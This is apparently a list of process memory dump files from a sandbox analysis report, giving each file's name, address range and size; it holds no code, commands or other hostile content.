Download
memory/4560-159-0x000002507ADB0000-0x000002507ADC0000-memory.dmp

Filesize
64KB

Download
memory/4560-331-0x000002507B8A0000-0x000002507B8BE000-memory.dmp

Filesize
120KB

Download
memory/4560-360-0x000002507ADB0000-0x000002507ADC0000-memory.dmp

Filesize
64KB

Download
memory/4560-352-0x00007FF832340000-0x00007FF832D2C000-memory.dmp

Filesize
9.9MB

Download
memory/5028-445-0x000001D853670000-0x000001D853680000-memory.dmp

Filesize
64KB

Download
memory/5028-443-0x00007FF832340000-0x00007FF832D2C000-memory.dmp

Filesize
9.9MB

Download
memory/5028-108-0x00007FF832340000-0x00007FF832D2C000-memory.dmp

Filesize
9.9MB

Download
memory/5028-117-0x000001D853670000-0x000001D853680000-memory.dmp

Filesize
64KB

Download